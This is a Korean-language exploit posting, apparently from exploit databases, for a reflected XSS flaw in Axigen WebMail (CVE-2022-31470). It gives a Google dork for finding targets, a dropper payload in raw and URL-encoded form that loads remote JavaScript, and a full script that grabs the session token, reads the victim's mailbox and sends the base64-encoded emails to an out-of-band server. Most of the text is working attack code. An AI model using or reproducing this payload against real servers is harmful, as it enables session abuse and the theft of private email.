Exploit 제목: Axigen < 10.3.3.47, 10.2.3.12 - 반사형 XSS

Google Dork: inurl:passwordexpired=yes

날짜: 2023-08-21

Exploit 작성자: AmirZargham

공급업체 홈페이지: https://www.axigen.com/

소프트웨어 링크: https://www.axigen.com/mail-server/download/

버전: (10.5.0–4370c946) 및 이전 버전의 Axigen WebMail

테스트 환경: firefox,chrome

CVE: CVE-2022-31470

악용 이 취약점을 악용하기 위해 두 번째 반사형 XSS를 사용하여 악성 링크를 생성하고 사용자 이메일을 탈취합니다.

드로퍼 코드 이 드로퍼 코드는 원격 서버에서 JavaScript 악용 코드를 로드하고 실행합니다.

');
x = document.createElement('script');
x.src = 'https://example.com/exploit.js';
window.addEventListener('DOMContentLoaded',function y(){
  document.body.appendChild(x)
})//

인코딩된 형식 /index.hsp?m=%27)%3Bx%3Ddocument.createElement(%27script%27)%3Bx.src%3D%27 https://example.com/exploit.js%27%3Bwindow.addEventListener(%27DOMContentLoaded%27,function+y(){document.body.appendChild(x)})//

악용 코드

xhr1 = new XMLHttpRequest(), xhr2 = new XMLHttpRequest(), xhr3 = new
XMLHttpRequest();
oob_server = 'https://example.com/';
var script_tag = document.createElement('script');

xhr1.open('GET', '/', true);
xhr1.onreadystatechange = () => {
    if (xhr1.readyState === XMLHttpRequest.DONE) {
        _h_cookie = new URL(xhr1.responseURL).search.split("=")[1];
        xhr2.open('PATCH', `/api/v1/conversations/MQ/?_h=${_h_cookie}`,
true);
        xhr2.setRequestHeader('Content-Type', 'application/json');
        xhr2.onreadystatechange = () => {
            if (xhr2.readyState === XMLHttpRequest.DONE) {
                if (xhr2.status === 401){
                    script_tag.src =
`${oob_server}?status=session_expired&domain=${document.domain}`;
                    document.body.appendChild(script_tag);
                } else {
                    resp = xhr2.responseText;
                    folderId = JSON.parse(resp)["mails"][0]["folderId"];
                    xhr3.open('GET',
`/api/v1/conversations?folderId=${folderId}&_h=${_h_cookie}`, true);
                    xhr3.onreadystatechange = () => {
                        if (xhr3.readyState === XMLHttpRequest.DONE) {
                            emails = xhr3.responseText;
                            script_tag.src =
`${oob_server}?status=ok&domain=${document.domain}&emails=${btoa(emails)}`;
                            document.body.appendChild(script_tag);
                        }
                    };
                    xhr3.send();
                }
            }
        };
        var body = JSON.stringify({isUnread: false});
        xhr2.send(body);
    }
};
xhr1.send();

드로퍼와 악용 코드 결합 악용 코드를 어딘가에 호스팅한 다음 드로퍼 코드에서 해당 주소를 지정할 수 있습니다.

게시처: exploit-db.

게시처: 0day.today.

게시처: packet storm.